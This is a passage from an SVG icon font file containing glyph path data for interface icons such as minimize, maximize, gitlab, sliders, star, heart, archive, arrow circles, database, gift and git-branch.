q-52.3305 -25.8654 -84.881 -53.0817q-11.9855 -10.3076 -27.7937 -10.3076q-17.6471 0 -30.1365 12.4894t-12.4894 30.1365q0 20.2762 15.7306 33.0697q30.3999 25.4233 78.4965 52.3628q48.0966 26.9394 85.6557 39.5811l-98.9772 99.0624 q-36.8968 -16.4358 -84.4315 -46.9974q-47.5347 -30.5616 -77.8024 -57.308q-12.2852 -11.4746 -29.0957 -11.4746q-17.6471 0 -30.1365 12.4894t-12.4894 30.1365q0 19.9233 15.285 32.7023q29.1882 25.8059 74.4998 56.4174q45.3115 30.6115 80.1468 48.0585 l-174.468 174.51q-13.4463 12.627 -13.4463 31.0728q0 17.6471 12.4894 30.1365q12.4894 12.4894 30.1365 12.4894q18.4636 0 31.0934 -13.4683l217.605 -217.562l1.32141 -1.36401l168.159 -168.159q4.1315 -3.27908 7.2464 -7.20377l543.479 -543.479 q12.4767 -12.4855 12.4767 -30.1365q0 -17.6507 -12.4919 -30.1426t-30.1426 -12.4919q-17.6686 0 -30.1578 12.498l-282.055 282.013zM512.48 -0.122496l-0.00653076 -4.99189e-07q-17.6471 0 -30.1364 12.4894q-12.4894 12.4894 -12.4894 30.1365t12.4893 30.1365 q12.4894 12.4894 30.1365 12.4894h0.00653076q17.6445 -0.00270081 30.1319 -12.4921q12.4874 -12.4894 12.4874 -30.1338q0 -17.6444 -12.4874 -30.1338t-30.1319 -12.4921zM694.961 385.258q-9.90814 4.83832 -16.9205 16.0663q-7.01227 11.2279 -7.01227 22.2544 q0 17.6552 12.4952 30.1503q12.4951 12.4951 30.1503 12.4951q9.85602 0 18.7127 -4.32483q57.5153 -28.1143 106.053 -69.3522q15.935 -12.7972 15.935 -33.235q0 -17.6471 -12.4894 -30.1364q-12.4894 -12.4894 -30.1364 -12.4894q-16.3199 0 -28.467 10.899 q-40.5428 34.3765 -88.3207 57.6728zM460.945 637.262q-1.71246 -0.138306 -3.43137 -0.138306q-17.6514 0 -30.1439 12.4924q-12.4924 12.4924 -12.4924 30.1439q0 16.2836 11.487 28.7355t27.7179 13.7624q29.0533 2.341 58.2005 2.341q113.419 0 253.882 -53.1038 t225.515 -128.138q14.4234 -12.7311 14.4234 -31.9694q0 -17.6537 -12.494 -30.1477q-12.494 -12.494 -30.1478 -12.494q-16.1273 0 -28.2183 10.6723q-75.0442 66.2025 -198.979 113.056q-123.935 46.8533 -224.007 46.8533q-25.7182 0 -51.3546 -2.06573z" /> <glyph glyph-name="minimize" unicode="" d="M298.667 768v-128q0 -17.664 -12.5013 -30.1653t-30.1654 -12.5013h-128h-0.00653076q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h128q52.992 0 90.496 37.504t37.504 90.496v128v0.00653076 q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM896 597.333h-128q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v128q-0.00262451 17.6613 -12.504 30.1608q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994 q-12.5013 -12.4995 -12.504 -30.1608v-128q0 -53 37.5 -90.5t90.5 -37.5h128q17.6613 0.00268555 30.1607 12.504t12.4995 30.1627q0 17.6613 -12.4994 30.1626q-12.4995 12.5013 -30.1609 12.5041zM725.333 -2.00117e-05v128q0 17.664 12.5013 30.1653 q12.5013 12.5013 30.1653 12.5013h128q17.6613 0.00270081 30.1608 12.504q12.4994 12.5014 12.4994 30.1626t-12.4994 30.1626q-12.4995 12.5013 -30.1608 12.504h-128q-52.9919 0 -90.496 -37.504t-37.504 -90.496v-128q0.00274658 -17.6613 12.504 -30.1607 t30.1627 -12.4994t30.1627 12.4994t12.504 30.1607v1.05059e-05zM128 170.667h128v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-128q0.00271606 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1627 12.4994q12.5013 12.4994 12.504 30.1607v128 q0 53 -37.5 90.5q-37.5 37.5 -90.5 37.5h-128q-17.6613 -0.00270081 -30.1607 -12.504t-12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.5042z" /> <glyph glyph-name="maximize" unicode="" d="M341.333 810.667h-128q-52.992 0 -90.496 -37.504t-37.504 -90.496v-128q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v128q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h128q17.664 0 30.1653 12.5013t12.5013 30.1653 t-12.5013 30.1653t-30.1651 12.5016zM938.667 554.667v128q0 52.9921 -37.504 90.496t-90.496 37.504h-128q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-128 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5016 30.165zM682.667 -42.6666h128q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.6639 0 -30.1653 -12.5013 t-12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-128q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.165 -12.5015zM85.3333 213.333v-128q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h128 q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-128q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5015 -30.1651z" /> <glyph glyph-name="gitlab" unicode="" horiz-adv-x="1025" d="M537.088 -82.7307q-11.2185 -8.15527 -25.088 -8.15527q-13.8694 0 -25.088 8.15527l-454.571 330.368q-13.2643 9.72922 -22.6519 28.257q-9.38755 18.5278 -9.38755 34.9777q0 12.4889 3.87942 24.36l52.0533 161.365l104.96 322.645q5.1996 13.454 15.7013 22.912 q17.5104 15.8663 41.14 15.8663q24.3182 0 42.0173 -16.677q11.0297 -10.588 15.616 -25.1733l94.5067 -290.091h283.648l95.2747 293.12q5.16376 13.4259 15.744 22.9547q17.5104 15.8663 41.14 15.8663q24.3182 0 42.0173 -16.677q11.0296 -10.5881 15.616 -25.1733 l103.936 -319.957l54.7413 -162.133q3.13696 -10.7614 3.13696 -21.9704q0 -17.3148 -10.1701 -36.4052t-24.5402 -28.7498zM86.8693 313.515l425.131 -308.992l426.795 310.187l-52.224 154.667l-80.7253 248.491l-80.512 -247.637q-3.96545 -12.205 -15.8542 -20.8434 q-11.8888 -8.63843 -24.7218 -8.63922h-345.6q-12.7963 0.0222473 -24.6601 8.64816q-11.8637 8.62589 -15.8306 20.7918l-80.768 247.765l-80.4267 -247.637z" /> <glyph glyph-name="sliders" unicode="" d="M810.667 170.667v-170.667q0.00268555 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v170.667h85.3333q17.6613 0.00270081 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626 q-12.4994 12.5013 -30.1607 12.504h-256q-17.6613 -0.00271606 -30.1607 -12.5041q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626t30.1607 -12.504zM469.333 597.333v170.667q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653 v-170.667h85.3333q17.6613 -0.00268555 30.1607 -12.504t12.4995 -30.1627q0 -17.6613 -12.4995 -30.1626t-30.1607 -12.5041h-256h-0.00653076q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1654q12.5013 12.5013 30.1653 12.5013h0.00653076zM128 256v-256 q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v256h85.3333q17.6613 0.00271606 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626q-12.4994 12.5014 -30.1607 12.504h-256 q-17.6613 -0.00271606 -30.1607 -12.504t-12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5014 30.1607 -12.504h85.3335zM213.333 469.333q-0.00271606 -17.6613 -12.504 -30.1607q-12.5013 -12.4994 -30.1626 -12.4994t-30.1626 12.4994t-12.504 30.1607 v298.667v0.00653076q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-0.00653076v-298.667zM554.667 -2.00117e-05q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v384q0 17.664 12.5013 30.1653 t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-384v1.05059e-05zM896 384q-0.00262451 -17.6613 -12.504 -30.1607q-12.5013 -12.4994 -30.1627 -12.4994q-17.6613 0 -30.1626 12.4995q-12.5013 12.4994 -12.504 30.1607v384q0.00268555 17.6613 12.5041 30.1608 q12.5013 12.4994 30.1626 12.4994t30.1626 -12.4994q12.5014 -12.4995 12.504 -30.1608z" /> <glyph glyph-name="star-on" unicode="" d="M473.728 829.568q4.85693 9.85602 16.0706 16.8314q11.2137 6.97534 22.2014 6.97534q10.9877 0 22.2014 -6.97534t16.0706 -16.8314l121.899 -246.741l272.64 -39.808q15.1143 -2.19141 25.811 -14.551q10.6968 -12.3596 10.6968 -27.6319q0 -17.9742 -12.8705 -30.5211 l-197.248 -191.915l46.5067 -271.147q0.600647 -3.54189 0.600647 -7.13411q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-10.5 0 -19.8007 4.87277l-243.84 128.085l-243.84 -128.085q-9.30072 -4.87277 -19.8007 -4.87277q-17.664 0 -30.1653 12.5013 t-12.5013 30.1653q0 3.59226 0.600662 7.13411l46.5067 271.147l-197.248 191.915q-12.8761 12.5476 -12.8761 30.5265q0 15.2587 10.6859 27.6167q10.6859 12.358 25.7848 14.5608l272.64 39.808z" /> <glyph glyph-name="heart-on" unicode="" d="M527.061 729.472q33.6374 33.6785 91.131 57.5137q57.4936 23.8351 105.093 23.8351q114.816 0 196.075 -81.2587t81.2587 -196.075l-6.10352e-05 -0.154236q-0.00280762 -47.5718 -23.8179 -105.04q-23.8151 -57.4686 -57.4622 -91.0983l-377.173 -377.173 q-12.496 -12.4922 -30.1653 -12.4922t-30.1653 12.4922l-377.173 377.173q-33.6347 33.6347 -57.439 91.1033q-23.8043 57.4687 -23.8043 105.035q0 114.836 81.2729 196.109q81.2729 81.273 196.109 81.2729q47.5667 0 105.035 -23.8043t91.1033 -57.439l15.0613 -15.0613z " /> <glyph glyph-name="archive" unicode="" d="M853.333 512h-682.667v-469.333h682.667v469.333zM938.667 512v-512q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-768q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v512h-42.6667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653 v213.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h938.667q17.664 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-213.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013zM85.3333 725.333v-128h853.333v128h-853.333zM426.667 341.333 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653q12.5013 12.5014 30.1653 12.5014h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013z" /> <glyph glyph-name="arrow-down-circle" unicode="" d="M469.333 316.331v238.336q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-238.336l97.8347 97.8347q12.4007 11.977 29.641 11.977q17.6641 0 30.1654 -12.5013t12.5013 -30.1653q0 -17.2403 -11.977 -29.641l-170.667 -170.667 q-12.496 -12.4922 -30.1653 -12.4922q-17.6693 0 -30.1653 12.4922l-170.667 170.667q-11.977 12.4008 -11.977 29.641q0 17.664 12.5013 30.1653t30.1653 12.5013q17.2403 0 29.641 -11.977zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756 q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397 q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5 t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" /> <glyph glyph-name="arrow-up-circle" unicode="" d="M554.667 451.669v-238.336q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v238.336l-97.8347 -97.8347q-12.5805 -13.0256 -30.6896 -13.0256q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 18.1091 13.0257 30.6896 l170.667 170.667q12.4961 12.4922 30.1653 12.4922q17.6694 0 30.1653 -12.4922l170.667 -170.667q11.977 -12.4008 11.977 -29.641q0 -17.6641 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-17.2404 0 -29.6411 11.977zM512 -85.3333 q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694 t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408 q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" /> <glyph glyph-name="arrow-left-circle" unicode="" d="M444.331 426.667h238.336q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-238.336l97.8347 -97.8347q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.641 11.977l-170.667 170.667 q-12.4922 12.4961 -12.4922 30.1653t12.4922 30.1653l170.667 170.667q12.4007 11.977 29.641 11.977q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -17.2403 -11.9771 -29.6411zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756 q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397 q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5 t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" /> <glyph glyph-name="arrow-right-circle" unicode="" d="M579.669 341.333h-238.336q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h238.336l-97.8347 97.8347q-13.0256 12.5806 -13.0256 30.6896q0 17.664 12.5013 30.1653t30.1653 12.5013q18.109 0 30.6897 -13.0256l170.667 -170.667 q12.4922 -12.496 12.4922 -30.1653t-12.4922 -30.1653l-170.667 -170.667q-12.4008 -11.977 -29.641 -11.977q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.2403 11.977 29.641zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756 q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397 q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5 t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" /> <glyph glyph-name="bar-chart-line-" unicode="" d="M810.667 42.6667q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v426.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653zM554.667 42.6667 q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653zM298.667 42.6667q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-256z" /> <glyph glyph-name="bar-chart-line" unicode="" d="M554.667 42.6667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v426.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653z M810.667 42.6667q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653z M298.667 42.6667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v170.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-170.667z" /> <glyph glyph-name="book-open" unicode="" d="M128 725.333v-554.667h256q45.8566 0 85.3333 -22.8267v449.493q0 52.992 -37.504 90.496q-37.504 37.504 -90.496 37.504zM512 -42.6667q-17.3363 0 -30.0015 11.2551t-12.6652 31.4116q0 35.328 -25.0027 60.3307t-60.3307 25.0027h-298.667 q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v640q0 17.6639 12.5013 30.1653q12.5013 12.5014 30.1653 12.5014h256q51.4481 0 96.1844 -22.8523t74.4823 -62.481q26.4518 35.3281 76.4071 60.3307q49.9553 25.0027 94.0889 25.0027 l0.170715 -6.10352e-05h256q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-640q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-298.667v0q-35.3281 0 -60.3307 -25.0027t-25.0026 -60.3307q0 -20.1565 -12.6652 -31.4116q-12.6652 -11.2551 -30.0015 -11.2551 q-17.3363 0 -30.0015 11.2551t-12.6652 31.4116q0 46.5997 23.1907 85.9512q23.1907 39.3515 62.1426 61.8888v-147.84q0 -20.1565 -12.6652 -31.4116q-12.6652 -11.2551 -30.0007 -11.2552zM896 725.333h-213.333q-52.9921 0 -90.496 -37.504t-37.504 -90.496v-449.493 q16.3397 9.45035 41.2626 16.1386q24.923 6.68828 43.7988 6.68828l0.271851 -0.000213623h256z" /> <glyph glyph-name="code" unicode="" d="M652.501 609.835q-13.0256 12.5805 -13.0256 30.6896q0 17.6639 12.5013 30.1653t30.1653 12.5014q18.109 0 30.6897 -13.0256l256 -256q12.4922 -12.496 12.4922 -30.1653t-12.4922 -30.1653l-256 -256q-12.4008 -11.977 -29.641 -11.977q-17.664 0 -30.1653 12.5013 t-12.5013 30.1653q0 17.2403 11.977 29.641l225.835 225.835zM145.664 384l225.835 -225.835q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.641 11.977l-256 256q-12.4922 12.496 -12.4922 30.1653t12.4922 30.1653 l256 256q12.4007 11.977 29.641 11.977q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653q0 -17.2404 -11.977 -29.6411z" /> <glyph glyph-name="database" unicode="" d="M170.667 574.805v-190.805q0 -17.674 44.5838 -37.3145q44.5838 -19.6405 125.759 -33.8297q81.1748 -14.1892 170.991 -14.1892q89.816 0 170.991 14.1892q81.1749 14.1891 125.759 33.8297q44.5838 19.6405 44.5838 37.3145v190.805 q-120.907 -62.8054 -341.333 -62.8054q-220.426 0 -341.335 62.8054zM85.3333 682.667q0 52.0058 57.8331 91.3232t153.987 59.3304q96.154 20.0131 214.846 20.0131q118.692 0 214.846 -20.0131q96.1541 -20.0131 153.987 -59.3304q57.8331 -39.3173 57.8331 -91.3232 v-597.333q0 -52.1311 -57.6378 -91.4257q-57.6378 -39.2946 -153.752 -59.2678t-215.277 -19.9732q-119.163 0 -215.277 19.9732q-96.1143 19.9732 -153.752 59.2678t-57.6378 91.4257v597.333h0.00141907zM853.333 275.925q-120.359 -62.592 -341.333 -62.592 q-220.847 0 -341.333 62.592v-190.592q0 -17.674 44.5838 -37.3145q44.5838 -19.6405 125.759 -33.8297q81.1749 -14.1892 170.991 -14.1892q89.816 0 170.991 14.1892q81.1749 14.1892 125.759 33.8297q44.5838 19.6405 44.5838 37.3145zM512 597.333 q89.3021 0 170.521 14.2409q81.219 14.2408 126.016 33.8969t44.7966 37.1955q0 17.5394 -44.7966 37.1955t-126.016 33.897t-170.521 14.2408q-89.3024 0 -170.521 -14.2408q-81.2188 -14.2408 -126.015 -33.897q-44.7967 -19.6561 -44.7967 -37.1955 q0 -17.5394 44.7966 -37.1955q44.7966 -19.6561 126.016 -33.897t170.52 -14.2408z" /> <glyph glyph-name="dollar-sign" unicode="" d="M554.667 725.333h170.667q17.6613 -0.00262451 30.1608 -12.504q12.4994 -12.5014 12.4994 -30.1627t-12.4994 -30.1626q-12.4995 -12.5013 -30.1608 -12.504h-170.667v-213.333h64q79.488 0 135.744 -56.256q56.256 -56.256 56.256 -135.744t-56.256 -135.744 t-135.744 -56.256h-64v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v128h-213.333q-17.6613 0.00270462 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626t30.1607 12.504h213.333v213.333h-64 q-79.488 0 -135.744 56.256q-56.256 56.256 -56.256 135.744q0 79.488 56.256 135.744q56.256 56.256 135.744 56.256h64v128q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-128zM554.667 341.333v-213.333h64 q44.1557 0.00427246 75.406 31.2576q31.2503 31.2533 31.2503 75.409q0 44.1557 -31.2503 75.4091t-75.406 31.2576zM469.333 426.667v213.333h-64h-0.0103149q-44.16 0 -75.4134 -31.2534q-31.2533 -31.2534 -31.2533 -75.4133q0 -44.16 31.2533 -75.4133t75.4134 -31.2533 h0.0103149z" /> <glyph glyph-name="folder-plus" unicode="" d="M554.667 341.333h85.3333q17.6613 -0.00268555 30.1608 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1627q-12.4995 -12.5013 -30.1608 -12.504h-85.3333v-85.3333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653 v85.3333h-85.3333q-17.6613 0.00268555 -30.1607 12.504t-12.4994 30.1626t12.4994 30.1626q12.4995 12.5014 30.1607 12.5041h85.3333v85.3333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-85.3333zM492.16 682.667h361.173 q52.9921 0 90.496 -37.504t37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-682.667q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h213.333h0.00637817 q9.44937 0 19.8486 -5.56311t15.6437 -13.4236zM361.173 725.333h-190.507q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013 q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-384h-0.00637817q-9.4494 0 -19.8487 5.56311q-10.3992 5.56311 -15.6436 13.4236z" /> <glyph glyph-name="gift" unicode="" d="M838.955 640h99.712q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-213.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-42.6667v-384q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-682.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v384 h-42.6667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v213.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h99.712q-14.4095 30.3778 -14.4095 64q0 61.824 43.7547 105.579q43.7546 43.7546 105.579 43.7546h0.0308228 q118.54 0 189.397 -128.768l2.60266 -4.82135l2.60266 4.82135q70.9268 128.768 189.397 128.768h0.0308228q61.824 0 105.579 -43.7546t43.7546 -105.579q0 -33.6222 -14.4091 -64zM554.667 554.667v-128h341.333v128h-341.333zM469.333 554.667h-341.333v-128h341.333v128 zM554.667 2.00117e-05h256v341.333h-256v-341.333v9.50586e-06v2.69334e-06zM469.333 2.00117e-05v341.333h-256v-341.333h256v1.21992e-05zM434.603 683.435q-46.4944 84.5653 -114.603 84.5653q-26 0 -45 -19t-19 -45t19 -45t45 -19h134.571 q-8.48843 22.4048 -19.968 43.4347zM704 640q26 0 45 19t19 45t-19 45t-45 19q-68.1083 0 -114.603 -84.5653q-11.4799 -21.0298 -19.968 -43.4347h134.571z" /> <glyph glyph-name="folder-minus" unicode="" d="M492.16 682.667h361.173q52.9921 0 90.496 -37.504t37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-682.667q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496 q37.504 37.504 90.496 37.504h213.333h0.00637817q9.44937 0 19.8486 -5.56311t15.6437 -13.4236zM361.173 725.333h-190.507q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013 h682.667q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-384h-0.00637817q-9.4494 0 -19.8487 5.56311q-10.3992 5.56311 -15.6436 13.4236zM384 256q-17.6613 0.00268555 -30.1607 12.504 t-12.4994 30.1626t12.4994 30.1626q12.4995 12.5014 30.1607 12.5041h256q17.6613 -0.00268555 30.1608 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1627q-12.4995 -12.5013 -30.1608 -12.504h-256z" /> <glyph glyph-name="git-commit" unicode="" d="M721.109 341.589q-14.4193 -70.6983 -75.6896 -120.734t-133.424 -50.0353q-72.1388 0 -133.407 50.0228q-61.2677 50.0228 -75.6984 120.704q-2.10632 -0.210205 -4.224 -0.213318h-253.867q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1653 q12.5013 12.5013 30.1653 12.5013h253.867q1.87753 0 4.224 -0.213348q14.425 70.6895 75.694 120.719q61.269 50.0291 133.415 50.0291q72.1464 0 133.415 -50.0291q61.269 -50.0291 75.6939 -120.719q2.56 0.213318 4.6507 0.213348h253.867q17.664 0 30.1653 -12.5013 t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-253.867q-2.34668 0 -4.6496 0.255768zM512 256q53 0 90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5z" /> <glyph glyph-name="git-branch" unicode="" d="M421.717 86.9973q-13.4067 -53.5114 -61.9371 -91.3829t-103.696 -37.8716q-70.4867 0 -120.517 49.8854t-50.2344 120.372q0.00728607 54.7278 37.5113 103.158t90.4887 62.1326v474.709q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653 v-474.709q39.777 -10.3027 75.5558 -45.6565t46.5562 -75.0048q112.999 